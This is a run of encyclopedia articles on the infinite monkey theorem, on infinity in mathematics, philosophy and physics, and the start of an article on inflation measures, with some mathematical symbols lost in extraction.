          There is a straightforward proof of this theorem. If two events are statistically independent, (i.e. neither affects the outcome of the other), then the probability of both happening equals the product of the probabilities of each one happening independently. E.g. if the chance of rain in Sydney on a particular day is 0.3 and the chance of an earthquake in San Francisco on that day is 0.008, then the chance of both happening on that same day is 0.3  0.008 = 0.0024.


          Suppose the typewriter has 50 keys, and the word to be typed is " banana". Typing at random, the chance that the first letter typed is b is 1/50, and the chance that the second letter typed is a is also 1/50, and so on, because events are independent. So the chance of the first six letters matching banana is


          
            	(1/50)  (1/50)  (1/50)  (1/50)  (1/50)  (1/50) = (1/50)6.

          


          For the same reason, the chance that the next 6 letters match banana is also (1/50)6, and so on.


          From the above, the chance of not typing banana in a given block of 6 letters is 1(1/50)6. Because each block is typed independently, the chance Xn of not typing banana in any of the first n blocks of 6 letters is


          
            	[image: X_n=\left(1-\frac{1}{50^6}\right)^n.]

          


          As n grows, Xn gets smaller. For an n of a million, Xn is 99.99%, but for an n of 10 billion Xn is 53% and for an n of 100 billion it is 0.17%. As n approaches infinity, the probability Xn approaches zero; that is, by making n large enough, Xn can be made as small as one likes.


          The same argument shows why at least one of infinitely many monkeys will (almost surely) produce a text as quickly as it would be produced by a perfectly accurate human typist copying it from the original. In this case Xn = (1(1/50)6)n where Xn represents the probability that none of the first n monkeys types banana correctly on their first try. When we consider 100 billion monkeys, the probability falls to 0.17%, and as the number of monkeys n increases to infinity the value of Xn  the probability of the monkeys failing to reproduce the given text  decreases to zero. This is equivalent to stating that the probability that one or more of an infinite number of monkeys will produce a given text on the first try is 100%, or that it is almost certain they will do so.


          


          Infinite strings


          The two statements above can be stated more generally and compactly in terms of strings, which are sequences of characters chosen from some finite alphabet:


          
            	Given an infinite string where each character is chosen uniformly at random, any given finite string almost surely occurs as a substring at some position (and indeed, infinitely many positions).


            	Given an infinite sequence of infinite strings, where each character of each string is chosen uniformly at random, any given finite string almost surely occurs as a prefix of one of these strings (and indeed, as a prefix of infinitely many of these strings in the sequence).

          


          Both follow easily from the second Borel-Cantelli lemma. For the second theorem, let Ek be the event that the kth string begins with the given text. Because this has some fixed nonzero probability p of occurring, the Ek are independent, and the below sum diverges,


          
            	[image: \sum_{i=1}^\infty P(E_k) = \sum_{i=1}^\infty p = \infty,]

          


          the probability that infinitely many of the Ek occur is 1. The first theorem is shown similarly; one can divide the random string into nonoverlapping blocks matching the size of the desired text, and make Ek the event where the kth block equals the desired string.


          


          Probabilities


          Ignoring punctuation, spacing, and capitalization, a monkey typing letters uniformly at random has a chance of one in 26 of correctly typing the first letter of Hamlet. It has a chance of one in 676 (2626) of typing the first two letters. Because the probability shrinks exponentially, at 20 letters it already has only a chance of one in 2620 = 19,928,148,895,209,409,152,340,197,376, roughly equivalent to the probability of buying 4 lottery tickets consecutively and winning the jackpot each time. In the case of the entire text of Hamlet, the probabilities are so vanishingly small they can barely be conceived in human terms. Say the text of Hamlet contains 130,000 letters (it is actually more, even stripped of punctuation), then there is a probability of one in 3.410183,946 to get the text right at the first trial. The average number of letters that needs to be typed until the text appears is also 3.410183,946.


          For comparison purposes, there are only about 31079 hydrogen atoms in the observable universe and only 4.31017 seconds have elapsed since the Big Bang. Even if the observable universe were filled with monkeys typing for all time, their total probability to produce a single instance of Hamlet would still be less than one in 10183,800. As Kittel and Kroemer put it, "The probability of Hamlet is therefore zero in any operational sense of an event", and the statement that the monkeys must eventually succeed "gives a misleading conclusion about very, very large numbers." This is from their textbook on thermodynamics, the field whose statistical foundations motivated the first known expositions of typing monkeys.


          


          History


          


          Statistical mechanics


          In one of the forms in which probabilists now know this theorem, with its "dactylographic" [i.e., typewriting] monkeys (French: singes dactylographes; the French word singe covers both the monkeys and the apes), appeared in mile Borel's 1913 article "Mcanique Statistique et Irrversibilit" (Statistical mechanics and irreversibility), and in his book "Le Hasard" in 1914. His "monkeys" are not actual monkeys; rather, they are a metaphor for an imaginary way to produce a large, random sequence of letters. Borel said that if a million monkeys typed ten hours a day, it was extremely unlikely that their output would exactly equal all the books of the richest libraries of the world; and yet, in comparison, it was even more unlikely that the laws of statistical mechanics would ever be violated, even briefly.


          The physicist Arthur Eddington drew on Borel's image further in The Nature of the Physical World (1928), writing:


          
            If I let my fingers wander idly over the keys of a typewriter it might happen that my screed made an intelligible sentence. If an army of monkeys were strumming on typewriters they might write all the books in the British Museum. The chance of their doing so is decidedly more favourable than the chance of the molecules returning to one half of the vessel.

          


          These images invite the reader to consider the incredible improbability of a large but finite number of monkeys working for a large but finite amount of time producing a significant work, and compare this with the even greater improbability of certain physical events. Any physical process that is even less likely than such monkeys' success is effectively impossible, and it may safely be said that such a process will never happen.


          


          Origins and "The Total Library"


          In a 1939 essay entitled "The Total Library", Argentine writer Jorge Luis Borges traced the infinite-monkey concept back to Aristotle's Metaphysics. Explaining the views of Leucippus, who held that the world arose through the random combination of atoms, Aristotle notes that the atoms themselves are homogeneous and their possible arrangements only differ in position and ordering. The Greek philosopher compares this to the way that a tragedy and a comedy consist of the same "atoms", i.e., alphabetic characters. Three centuries later, Cicero's De natura deorum (On the Nature of the Gods) argued against the atomist worldview:


          
            He who believes this may as well believe that if a great quantity of the one-and-twenty letters, composed either of gold or any other matter, were thrown upon the ground, they would fall into such order as legibly to form the Annals of Ennius. I doubt whether fortune could make a single verse of them.

          


          Borges follows the history of this argument through Blaise Pascal and Jonathan Swift, then observes that in his own time, the vocabulary had changed. By 1939, the idiom was "that a half-dozen monkeys provided with typewriters would, in a few eternities, produce all the books in the British Museum." (To which Borges adds, "Strictly speaking, one immortal monkey would suffice.") Borges then imagines the contents of the Total Library which this enterprise would produce if carried to its fullest extreme:


          
            Everything would be in its blind volumes. Everything: the detailed history of the future, Aeschylus' The Egyptians, the exact number of times that the waters of the Ganges have reflected the flight of a falcon, the secret and true nature of Rome, the encyclopedia Novalis would have constructed, my dreams and half-dreams at dawn on August 14, 1934, the proof of Pierre Fermat's theorem, the unwritten chapters of Edwin Drood, those same chapters translated into the language spoken by the Garamantes, the paradoxes Berkeley invented concerning Time but didn't publish, Urizen's books of iron, the premature epiphanies of Stephen Dedalus, which would be meaningless before a cycle of a thousand years, the Gnostic Gospel of Basilides, the song the sirens sang, the complete catalog of the Library, the proof of the inaccuracy of that catalog. Everything: but for every sensible line or accurate fact there would be millions of meaningless cacophonies, verbal farragoes, and babblings. Everything: but all the generations of mankind could pass before the dizzying shelvesshelves that obliterate the day and on which chaos liesever reward them with a tolerable page.

          


          Borges's total library concept was the main theme of his widely-read 1941 short story " The Library of Babel", which describes an unimaginably vast library consisting of interlocking hexagonal chambers, together containing every possible volume that could be composed from the letters of the alphabet and some punctuation characters.


          


          Applications and Criticisms


          


          Evolution


          
            [image: Thomas Huxley is sometimes misattributed with proposing a variant of the theory in his debates with Samuel Wilberforce.]
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          In his 1931 book The Mysterious Universe, Eddington's rival James Jeans attributed the monkey parable to a "Huxley", presumably meaning Thomas Henry Huxley. This attribution is incorrect. Today, it is sometimes further reported that Huxley applied the example in a now-legendary debate over Charles Darwin's Origin of Species with the Anglican Bishop of Oxford, Samuel Wilberforce, held at a meeting of the British Association for the Advancement of Science at Oxford in June 30, 1860. This story suffers not only from a lack of evidence, but the fact that in 1860 the typewriter itself had yet to emerge. Primates were still a sensitive topic for other reasons, and the Huxley-Wilberforce debate did include byplay about apes: the bishop asked whether Huxley was descended from an ape on his grandmother's or his grandfather's side, and Huxley responded something to the effect that he would rather be descended from an ape than from someone who argued as dishonestly as the bishop.


          Despite the original mix-up, monkey-and-typewriter arguments are now common in arguments over evolution. For example, Doug Powell argues as a Christian apologist that even if a monkey accidentally types the letters of Hamlet, it has failed to produce Hamlet because it lacked the intention to communicate. His parallel implication is that natural laws could not produce the information content in DNA. A more common argument is represented by John MacArthur, who claims that the genetic mutations necessary to produce a tapeworm from an amoeba are as unlikely as a monkey typing Hamlet's soliloquy, and hence the odds against the evolution of all life are impossible to overcome.


          Evolutionary biologist Richard Dawkins employs the typing monkey concept in his 1986 book The Blind Watchmaker to demonstrate the abilities of natural selection in producing biological complexity out of random mutations. In the simulation experiment he describes, Dawkins has his Weasel program produce the Hamlet phrase METHINKS IT IS LIKE A WEASEL by typing random phrases but constantly freezing those parts of the output which already match the goal. The point is that random string generation merely serves to furnish raw materials, while selection imparts the information.


          A different avenue for rejecting the analogy between evolution and an unconstrained monkey lies in the problem that the monkey types only one letter at a time, independently of the other letters. Hugh Petrie argues that a more sophisticated setup is required, in his case not for biological evolution but the evolution of ideas:


          
            In order to get the proper analogy, we would have to equip the monkey with a more complex typewriter. It would have to include whole Elizabethan sentences and thoughts. It would have to include Elizabethan beliefs about human action patterns and the causes, Elizabethan morality and science, and linguistic patterns for expressing these. It would probably even have to include an account of the sorts of experiences which shaped Shakespeare's belief structure as a particular example of an Elizabethan. Then, perhaps, we might allow the monkey to play with such a typewriter and produce variants, but the impossibility of obtaining a Shakespearean play is no longer obvious. What is varied really does encapsulate a great deal of already-achieved knowledge.

          


          James W. Valentine, while admitting that the classic monkey's task is impossible, finds that there is a worthwhile analogy between written English and the metazoan genome in this other sense: both have "combinatorial, hierarchical structures" that greatly constrain the immense number of combinations at the alphabet level.


          


          Literary theory


          R. G. Collingwood argued in 1938 that art cannot be produced by accident, and wrote as a sarcastic aside to his critics,


          
            some  have denied this proposition, pointing out that if a monkey played with a typewriter  he would produce  the complete text of Shakespeare. Any reader who has nothing to do can amuse himself by calculating how long it would take for the probability to be worth betting on. But the interest of the suggestion lies in the revelation of the mental state of a person who can identify the 'works' of Shakespeare with the series of letters printed on the pages of a book

          


          Nelson Goodman took the contrary position, illustrating his point along with Catherine Elgin by the example of Borges'  Pierre Menard, Author of the Quixote,


          
            What Menard wrote is simply another inscription of the text. Any of us can do the same, as can printing presses and photocopiers. Indeed, we are told, if infinitely many monkeys  one would eventually produce a replica of the text. That replica, we maintain, would be as much an instance of the work, Don Quixote, as Cervantes' manuscript, Menard's manuscript, and each copy of the book that ever has been or will be printed.

          


          In another writing, Goodman elaborates, "That the monkey may be supposed to have produced his copy randomly makes no difference. It is the same text, and it is open to all the same interpretations." Grard Genette dismisses Goodman's argument as begging the question.


          For Jorge J. E. Gracia, the question of the identity of texts leads to a different question, that of author. If a monkey is capable of typing Hamlet, despite having no intention of meaning and therefore disqualifying itself as an author, then it appears that texts do not require authors. Possible solutions include saying that whoever finds the text and identifies it as Hamlet is the author; or that Shakespeare is the author, the monkey his agent, and the finder merely a user of the text. These solutions have their own difficulties, in that the text appears to have a meaning separate from the other agents: what if the monkey operates before Shakespeare is born, or if Shakespeare is never born, or if no one ever finds the monkey's typescript?


          


          Random number generation


          The theorem concerns a thought experiment which cannot be fully carried out in practice, since it is predicted to require prohibitive amounts of time and resources. Nonetheless, it has inspired efforts in finite random text generation.


          One computer program run by Dan Oliver of Scottsdale, Arizona, according to an article in The New Yorker, came up with a result on August 4, 2004: After the group had worked for 42,162,500,000 billion billion years, one of the "monkeys" typed, VALENTINE. Cease toIdor:eFLP0FRjWK78aXzVOwm)-;8.t . . ." The first 19 letters of this sequence can be found in "The Two Gentlemen of Verona". Other teams have reproduced 18 characters from "Timon of Athens", 17 from "Troilus and Cressida", and 16 from "Richard II".


          A website entitled The Monkey Shakespeare Simulator, launched on July 1, 2003, contained a Java applet that simulates a large population of monkeys typing randomly, with the stated intention of seeing how long it takes the virtual monkeys to produce a complete Shakespearean play from beginning to end. For example, it produced this partial line from Henry IV, Part 2, reporting that it took "2,737,850 million billion billion billion monkey-years" to reach 24 matching characters:


          
            	RUMOUR. Open your ears; 9r"5j5&?OWTY Z0d

          


          Due to processing power limitations, the program uses a probabilistic model (by using a random number generator or RNG) instead of actually generating random text and comparing it to Shakespeare. When the simulator "detects a match" (that is, the RNG generates a certain value or a value within a certain range), the simulator simulates the match by generating matched text.


          Questions about the statistics describing how often an ideal monkey should type certain strings can motivate practical tests for random number generators as well; these range from the simple to the "quite sophisticated". Computer science professors George Marsaglia and Arif Zaman report that they used to call such tests "overlapping m- tuple tests" in lecture, since they concern overlapping m-tuples of successive elements in a random sequence. But they found that calling them "monkey tests" helped to motivate the idea with students. They published a report on the class of tests and their results for various RNGs in 1993.


          


          Real monkeys


          Primate behaviorists Cheney and Seyfarth remark that real monkeys would indeed have to rely on chance to have any hope of producing Romeo and Juliet. Unlike apes and particularly chimpanzees, the evidence suggests that monkeys lack a theory of mind and are unable to differentiate between their own and others' knowledge, emotions, and beliefs. Even if a monkey could learn to write a play and describe the characters' behaviour, it could not reveal the characters' minds and so build an ironic tragedy.


          In 2003, lecturers and students from the University of Plymouth MediaLab Arts course used a 2,000 grant from the Arts Council to study the literary output of real monkeys. They left a computer keyboard in the enclosure of six Celebes Crested Macaques in Paignton Zoo in Devon in England for a month, with a radio link to broadcast the results on a website. One researcher, Mike Phillips, defended the expenditure as being cheaper than reality TV and still "very stimulating and fascinating viewing".


          Not only did the monkeys produce nothing but five pages consisting largely of the letter S, the lead male began by bashing the keyboard with a stone, and the monkeys continued by urinating and defecating on it. The zoo's scientific officer remarked that the experiment had "little scientific value, except to show that the 'infinite monkey' theory is flawed". Phillips said that the artist-funded project was primarily performance art, and they had learned "an awful lot" from it. He concluded that monkeys "are not random generators. They're more complex than that.  They were quite interested in the screen, and they saw that when they typed a letter, something happened. There was a level of intention there."


          


          Popular culture


          The infinite monkey theorem and its associated imagery is considered a popular and proverbial illustration of the mathematics of probability, widely known to the general public because of its transmission through popular culture rather than because of its transmission via the classroom.


          The enduring, widespread and popular nature of the knowledge of the theorem was noted in the introduction to a 2001 paper, "Monkeys, Typewriters and Networks  the Internet in the Light of the Theory of Accidental Excellence" (Hoffmann and Hofmann). In 2002, a Washington Post article said: "Plenty of people have had fun with the famous notion that an infinite number of monkeys with an infinite number of typewriters and an infinite amount of time could eventually write the works of Shakespeare." In 2003, the previously mentioned Arts Council funded experiment involving real monkeys and a computer keyboard received widespread press coverage. In 2007, the theorem was listed by Wired magazine in a list of eight classic thought experiments.


          The history of the imagery of 'typing monkeys' dates back at least as far as Borel's use of the metaphor in his essay in 1913, and this imagery has recurred many times since in a variety of media. Today, popular interest in the typing monkeys is sustained by numerous appearances in literature, television and radio, music, and the Internet, as well as graphic novels and stand-up comedy routines.


          
            Retrieved from " http://en.wikipedia.org/wiki/Infinite_monkey_theorem"
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          Infinity (symbolically represented with ) comes from the Latin infinitas or "unboundedness." It refers to several distinct concepts (usually linked to the idea of "without end") which arise in philosophy, mathematics, and theology.


          In mathematics, "infinity" is often used in contexts where it is treated as if it were a number (i.e., it counts or measures things: "an infinite number of terms") but it is a different type of "number" than the real numbers. Infinity is related to limits, aleph numbers, classes in set theory, Dedekind-infinite sets, large cardinals, Russell's paradox, non-standard arithmetic, hyperreal numbers, projective geometry, extended real numbers and the absolute Infinite.


          


          History


          


          Early Indian views of infinity


          The Isha Upanishad of the Yajurveda (c. 4th to 3rd century BC) states that "if you remove a part from infinity or add a part to infinity, still what remains is infinity".


          
            	Pūrṇam adaḥ pūrṇam idam (That is full, this is full)


            	pūrṇāt pūrṇam udacyate (From the full, the full is subtracted)


            	pūrṇasya pūrṇam ādāya (When the full is taken from the full)


            	pūrṇam evāvasiṣyate (The full still will remain.) - Isha Upanishad

          


          The Indian mathematical text Surya Prajnapti (c. 400 BC) classifies all numbers into three sets: enumerable, innumerable, and infinite. Each of these was further subdivided into three orders:


          
            	Enumerable: lowest, intermediate and highest


            	Innumerable: nearly innumerable, truly innumerable and innumerably innumerable


            	Infinite: nearly infinite, truly infinite, infinitely infinite

          


          The Jains were the first to discard the idea that all infinites were the same or equal. They recognized different types of infinities: infinite in length (one dimension), infinite in area (two dimensions), infinite in volume (three dimensions), and infinite perpetually (infinite number of dimensions).


          According to Singh (1987), Joseph (2000) and Agrawal (2000), the highest enumerable number N of the Jains corresponds to the modern concept of aleph-null [image: \aleph_0] (the cardinal number of the infinite set of integers 1, 2, ...), the smallest cardinal transfinite number. The Jains also defined a whole system of infinite cardinal numbers, of which the highest enumerable number N is the smallest.


          In the Jaina work on the theory of sets, two basic types of infinite numbers are distinguished. On both physical and ontological grounds, a distinction was made between asaṃkhyāta ("countless, innumerable") and ananta ("endless, unlimited"), between rigidly bounded and loosely bounded infinities.


          


          Logic


          In logic an infinite regress argument is "a distinctively philosophical kind of argument purporting to show that a thesis is defective because it generates an infinite series when either (form A) no such series exists or (form B) were it to exist, the thesis would lack the role (e.g., of justification) that it is supposed to play."


          


          Infinity symbol


          
            [image: John Wallis introduced the infinity symbol to mathematical literature.]
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          The precise origin of the infinity symbol "" is unclear. One possibility is suggested by the name it is sometimes calledthe lemniscate, from the Latin lemniscus, meaning "ribbon." One can imagine walking forever along a simple loop formed from a ribbon.


          A popular explanation is that the infinity symbol is derived from the shape of a Mbius strip. Again, one can imagine walking along its surface forever. However, this explanation is improbable, since the symbol had been in use to represent infinity for over two hundred years before August Ferdinand Mbius and Johann Benedict Listing discovered the Mbius strip in 1858.


          It is also possible that it is inspired by older religious/alchemical symbolism. For instance, it has been found in Tibetan rock carvings, and the ouroboros, or infinity snake, is often depicted in this shape.


          John Wallis is usually credited with introducing  as a symbol for infinity in 1655 in his De sectionibus conicis. One conjecture about why he chose this symbol is that he derived it from a Roman numeral for 1000 that was in turn derived from the Etruscan numeral for 1000, which looked somewhat like CIƆ and was sometimes used to mean "many." Another conjecture is that he derived it from the Greek letter  ( omega), the last letter in the Greek alphabet.


          Another possibility is that the symbol was chosen because it was easy to rotate an "8" character by 90 when typesetting was done by hand. The symbol is sometimes called a "lazy eight", evoking the image of an "8" lying on its side.


          Another popular belief is that the infinity symbol is a clear depiction of the hourglass turned 90. Obviously, this action would cause the hour glass to take infinite time to empty thus presenting a tangible example of infinity. The invention of the hourglass predates the existence of the infinity symbol allowing this theory to be plausible.


          The infinity symbol is represented in Unicode by the character  (U+221E).


          


          Mathematical infinity


          Infinity is used in various branches of mathematics. 


          Calculus


          In real analysis, the symbol [image: \infty], called "infinity", denotes an unbounded limit. [image: x \rightarrow \infty] means that x grows without bound, and [image: x \rightarrow -\infty] means the value of x is decreasing without bound. If f(t)  0 for every t, then


          
            	[image: \int_{a}^{b} \, f(t)\ dt \ = \infty] means that f(t) does not bound a finite area from a to b


            	[image: \int_{-\infty}^{\infty} \, f(t)\ dt \ = \infty] means that the area under f(t) is infinite.


            	[image: \int_{-\infty}^{\infty} \, f(t)\ dt \ = 1] means that the area under f(t) equals 1

          


          Infinity is also used to describe infinite series:


          
            	[image: \sum_{i=0}^{\infty} \, f(i) = x] means that the sum of the infinite series converges to some real value x.


            	[image: \sum_{i=0}^{\infty} \, f(i) = \infty] means that the sum of the infinite series diverges in the specific sense that the partial sums grow without bound.

          


          


          Algebraic properties


          Infinity is often used not only to define a limit but as a value in the affinely extended real number system. Points labeled [image: \infty] and [image: -\infty] can be added to the topological space of the real numbers, producing the two-point compactification of the real numbers. Adding algebraic properties to this gives us the extended real numbers. We can also treat [image: \infty] and [image: -\infty] as the same, leading to the one-point compactification of the real numbers, which is the real projective line. Projective geometry also introduces a line at infinity in plane geometry, and so forth for higher dimensions.


          The extended real number line adds two elements called infinity ([image: \infty]), greater than all other extended real numbers, and negative infinity ([image: -\infty]), less than all other extended real numbers, for which some arithmetic operations may be performed.


          


          Complex analysis


          As in real analysis, in complex analysis the symbol [image: \infty], called "infinity", denotes an unbounded limit. [image: x \rightarrow \infty] means that the magnitude | x | of x grows beyond any assigned value. A point labeled [image: \infty] can be added to the complex plane as a topological space giving the one-point compactification of the complex plane. When this is done, the resulting space is a one-dimensional complex manifold, or Riemann surface, called the extended complex plane or the Riemann sphere. Arithmetic operations similar to those given below for the extended real numbers can also be defined, though there is no distinction in the signs (therefore one exception is that infinity cannot be added to itself). On the other hand, this kind of infinity enables division by zero, namely [image: z/0 = \infty] for any complex number z. In this context is often useful to consider meromorphic functions as maps into the Riemann sphere taking the value of [image: \infty] at the poles. The domain of a complex-valued function may be extended to include the point at infinity as well. One important example of such functions is the group of Mbius transformations.


          


          Nonstandard analysis


          The original formulation of the calculus by Newton and Leibniz used infinitesimal quantities. In the twentieth century, it was shown that this treatment could be put on a rigorous footing through various logical systems, including smooth infinitesimal analysis and nonstandard analysis. In the latter, infinitesimals are invertible, and their inverses are infinite numbers. The infinities in this sense are part of a whole field; there is no equivalence between them as with the Cantorian transfinites. For example, if H is an infinite number, then H + H = 2H and H + 1 are different infinite numbers.


          


          Set theory


          A different type of "infinity" are the ordinal and cardinal infinities of set theory. Georg Cantor developed a system of transfinite numbers, in which the first transfinite cardinal is aleph-null [image: (\aleph_0)], the cardinality of the set of natural numbers. This modern mathematical conception of the quantitative infinite developed in the late nineteenth century from work by Cantor, Gottlob Frege, Richard Dedekind and others, using the idea of collections, or sets.


          Dedekind's approach was essentially to adopt the idea of one-to-one correspondence as a standard for comparing the size of sets, and to reject the view of Galileo (which derived from Euclid) that the whole cannot be the same size as the part. An infinite set can simply be defined as one having the same size as at least one of its "proper" parts; this notion of infinity is called Dedekind infinite.


          Cantor defined two kinds of infinite numbers, the ordinal numbers and the cardinal numbers. Ordinal numbers may be identified with well-ordered sets, or counting carried on to any stopping point, including points after an infinite number have already been counted. Generalizing finite and the ordinary infinite sequences which are maps from the positive integers leads to mappings from ordinal numbers, and transfinite sequences. Cardinal numbers define the size of sets, meaning how many members they contain, and can be standardized by choosing the first ordinal number of a certain size to represent the cardinal number of that size. The smallest ordinal infinity is that of the positive integers, and any set which has the cardinality of the integers is countably infinite. If a set is too large to be put in one to one correspondence with the positive integers, it is called uncountable. Cantor's views prevailed and modern mathematics accepts actual infinity. Certain extended number systems, such as the hyperreal numbers, incorporate the ordinary (finite) numbers and infinite numbers of different sizes.


          Our intuition gained from finite sets breaks down when dealing with infinite sets. One example of this is Hilbert's paradox of the Grand Hotel.


          


          Cardinality of the continuum


          One of Cantor's most important results was that the cardinality of the continuum ([image: \mathbf c]) is greater than that of the natural numbers ([image: {\aleph_0}]); that is, there are more real numbers R than natural numbers N. Namely, Cantor showed that [image: \mathbf{c} = 2^{\aleph_0} > {\aleph_0}] (see Cantor's diagonal argument).


          The continuum hypothesis states that there is no cardinal number between the cardinality of the reals and the cardinality of the natural numbers, that is, [image: \mathbf{c} = \aleph_1]. However, this hypothesis can neither be proved nor disproved within the widely accepted Zermelo-Fraenkel set theory, even assuming the Axiom of Choice.


          Cardinal arithmetic can be used to show not only that the number of points in a real number line is equal to the number of points in any segment of that line, but that this is equal to the number of points on a plane and, indeed, in any finite-dimensional space. These results are highly counterintuitive, because they imply that there exist proper subsets of an infinite set S that have the same size as S.


          The first of these results is apparent by considering, for instance, the tangent function, which provides a one-to-one correspondence between the interval [-0.5, 0.5] and R (see also Hilbert's paradox of the Grand Hotel). The second result was proved by Cantor in 1878, but only became intuitively apparent in 1890, when Giuseppe Peano introduced the space-filling curves, curved lines that twist and turn enough to fill the whole of any square, or cube, or hypercube, or finite-dimensional space. These curves can be used to define a one-to-one correspondence between the points in the side of a square and those in the square.


          It is also possible to show that sets with cardinality strictly greater than [image: \mathbf c] exist. They include, for instance:


          
            	the set of all subsets of R, i.e., the power set of R, written P(R) or 2R


            	the set RR of all functions from R to R

          


          Both have cardinality [image: 2^\mathbf {c} = \beth_2] (see Beth number).


          


          Mathematics without infinity


          Leopold Kronecker rejected the notion of infinity and began a school of thought, in the philosophy of mathematics called finitism which influenced the philosophical and mathematical school of mathematical constructivism.


          


          Physical infinity


          In physics, approximations of real numbers are used for continuous measurements and natural numbers are used for discrete measurements (i.e. counting). It is therefore assumed by physicists that no measurable quantity could have an infinite value, for instance by taking an infinite value in an extended real number system (see also: hyperreal number), or by requiring the counting of an infinite number of events. It is for example presumed impossible for any body to have infinite mass or infinite energy. There exists the concept of infinite entities (such as an infinite plane wave) but there are no means to generate such things.


          It should be pointed out that this practice of refusing infinite values for measurable quantities does not come from a priori or ideological motivations, but rather from more methodological and pragmatic motivations. One of the needs of any physical and scientific theory is to give usable formulas that correspond to or at least approximate reality. As an example if any object of infinite gravitational mass were to exist, any usage of the formula to calculate the gravitational force would lead to an infinite result, which would be of no benefit since the result would be always the same regardless of the position and the mass of the other object. The formula would be useful neither to compute the force between two objects of finite mass nor to compute their motions. If an infinite mass object were to exist, any object of finite mass would be attracted with infinite force (and hence acceleration) by the infinite mass object, which is not what we can observe in reality.


          This point of view does not mean that infinity cannot be used in physics. For convenience's sake, calculations, equations, theories and approximations often use infinite series, unbounded functions, etc., and may involve infinite quantities. Physicists however require that the end result be physically meaningful. In quantum field theory infinities arise which need to be interpreted in such a way as to lead to a physically meaningful result, a process called renormalization. One application where infinities arise is the quantification of thermodynamic temperatures.


          However, there are some currently-accepted circumstances where the end result is infinity. One example is black holes. Physicists have verified that, when a star experiences gravitational collapse, it will eventually shrink down to a point of zero size, and thus have infinite density. This is an example of what is called a mathematical singularity, or a point where the laws of mathematics, and therefore of physics, break down. Some physicists now believe the singularity may be physically real, and have since turned their attention to finding new mathematics where infinities are possible.


          


          Infinity in cosmology


          An intriguing question is whether actual infinity exists in our physical universe: Are there infinitely many stars? Does the universe have infinite volume? Does space "go on forever"? This is an important open question of cosmology. Note that the question of being infinite is logically separate from the question of having boundaries. The two-dimensional surface of the Earth, for example, is finite, yet has no edge. By walking/sailing/driving straight long enough, you'll return to the exact spot you started from. The universe, at least in principle, might have a similar topology; if you fly your space ship straight ahead long enough, perhaps you would eventually revisit your starting point. If, however, the universe is ever expanding then you could never get back to your starting point even on an infinite time scale.


          


          Computer representations of infinity


          The IEEE floating-point standard specifies positive and negative infinity values; these can be the result of arithmetic overflow, division by zero, or other exceptional operations.


          Some programming languages (for example, J and UNITY) specify greatest and least elements, i.e. values that compare (respectively) greater than or less than all other values. These may also be termed top and bottom, or plus infinity and minus infinity; they are useful as sentinel values in algorithms involving sorting, searching or windowing. In languages that do not have greatest and least elements, but do allow overloading of relational operators, it is possible to create greatest and least elements (with some overhead, and the risk of incompatibility between implementations).


          


          Perspective and points at infinity in the arts


          Perspective artwork utilizes the concept of imaginary vanishing points, or points at infinity, located at an infinite distance from the observer. This allows artists to create paintings that 'realistically' depict distance and foreshortening of objects. Artist M. C. Escher is specifically known for employing the concept of infinity in his work in this and other ways.


          
            Retrieved from " http://en.wikipedia.org/wiki/Infinity"
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          Inflation is a rise in general level of prices of goods and services over time. Although "inflation" is sometimes used to refer to a rise in the prices of a specific set of goods or services, a rise in prices of one set (such as food) without a rise in others (such as wages) is not included in the original meaning of the word. Inflation can be thought of as a decrease in the value of the unit of currency. It is measured as the percentage rate of change of a price index but it is not uniquely defined because there are various price indices that can be used.


          Mainstream economists believe that high rates of inflation are caused by high rates of growth of the money supply. Views on the factors that determine moderate rates of inflation are more varied: changes in inflation are sometimes attributed to fluctuations in real demand for goods and services or in available supplies (i.e. changes in scarcity), and sometimes to changes in the supply or demand for money. In the mid-twentieth century, two camps disagreed strongly on the main causes of inflation at moderate rates: the " monetarists" argued that money supply dominated all other factors in determining inflation, while " Keynesians" argued that real demand was often more important than changes in the money supply.


          There are many measures of inflation. For example, different price indices can be used to measure changes in prices that affect different people. Two widely known indices for which inflation rates are reported in many countries are the Consumer Price Index (CPI), which measures consumer prices, and the GDP deflator, which measures price variations associated with domestic production of goods and services.


          


          Related definitions


          Related economic concepts include: deflation, a general falling in price level; disinflation, a decrease in the rate of inflation; hyperinflation, an out-of-control inflationary spiral; stagflation, a combination of inflation and slow economic growth and rising unemployment; and reflation, which is an attempt to raise prices to counteract deflationary pressures.


          In classical political economy, inflation meant increasing the money supply, while deflation meant decreasing it (see Monetary inflation). Economists from some schools of economic thought (including some Austrian economists) still retain this usage. In contemporary economic terminology, these would usually be referred to as expansionary and contractionary monetary policies.


          


          Measures of inflation


          Inflation is measured by calculating the percentage rate of change of a price index, which is called the inflation rate. This rate can be calculated for many different price indices, including:


          
            	Consumer price indices (CPIs) which measure the price of a selection of goods purchased by a "typical consumer." In the UK, an alternative index called the Retail Price Index (RPI) uses a slightly different market basket.


            	Cost-of-living indices (COLI) are indices similar to the CPI which are often used to adjust fixed incomes and contractual incomes to maintain the real value of those incomes.


            	Producer price indices (PPIs) which measure the prices received by producers. This differs from the CPI in that price subsidization, profits, and taxes may cause the amount received by the producer to differ from what the consumer paid. There is also typically a delay between an increase in the PPI and any resulting increase in the CPI. Producer price inflation measures the pressure being put on producers by the costs of their raw materials. This could be "passed on" as consumer inflation, or it could be absorbed by profits, or offset by increasing productivity. In India and the United States, an earlier version of the PPI was called the Wholesale Price Index.


            	Commodity price indices, which measure the price of a selection of commodities. In the present commodity price indices are weighted by the relative importance of the components to the "all in" cost of an employee.


            	The GDP Deflator is a measure of the price of all the goods and services included in Gross Domestic Product (GDP). The US Commerce Department publishes a deflator series for US GDP, defined as its nominal GDP measure divided by its real GDP measure.


            	Capital goods price Index, although so far no attempt at building such an index has been made, several economists have recently pointed out the necessity of measuring capital goods inflation (inflation in the price of stocks, real estate, and other assets) separately. Indeed a given increase in the supply of money can lead to a rise in inflation (consumption goods inflation) and or to a rise in capital goods price inflation. The growth in money supply has remained fairly constant through since the 1970's however consumption goods price inflation has been reduced because most of the inflation has happened in the capital goods prices.

          


          Other types of inflation measures include:


          
            	Regional Inflation The Bureau of Labor Statistics breaks down CPI-U calculations down to different regions of the US.


            	Historical Inflation Before collecting consistent econometric data became standard for governments, and for the purpose of comparing absolute, rather than relative standards of living, various economists have calculated imputed inflation figures. Most inflation data before the early 20th century is imputed based on the known costs of goods, rather than compiled at the time. It is also used to adjust for the differences in real standard of living for the presence of technology. This is equivalent to not adjusting the composition of baskets over time.

          


          


          Issues in measuring inflation


